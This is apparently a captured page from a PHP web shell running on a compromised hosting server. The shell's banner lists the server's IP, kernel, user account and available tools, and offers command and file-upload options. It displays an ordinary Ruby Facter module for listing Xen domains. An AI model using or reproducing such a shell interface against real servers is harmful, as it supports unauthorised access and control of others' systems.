Server IP : 111.118.215.189 / Your IP : 18.219.247.127 Web Server : Apache System : Linux md-in-83.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : a1673wkz ( 2475) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /usr/share/ruby/vendor_ruby/facter/util/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
# A module to gather running Xen Domains # module Facter::Util::Xendomains XEN_COMMANDS = ['/usr/sbin/xl', '/usr/sbin/xm'] def self.xen_command if File.file?('/usr/lib/xen-common/bin/xen-toolstack') xen_toolstack_cmd = Facter::Util::Resolution.exec('/usr/lib/xen-common/bin/xen-toolstack') if xen_toolstack_cmd xen_toolstack_cmd.chomp else nil end else XEN_COMMANDS.find { |cmd| Facter::Util::Resolution.which(cmd) } end end def self.get_domains command = self.xen_command if command if domains_list = Facter::Util::Resolution.exec("#{command} list 2>/dev/null") domains = domains_list.split("\n").reject { |line| line =~ /^(Name|Domain-0)/ } domains.map { |line| line.split(/\s/)[0] }.join(',') end end end end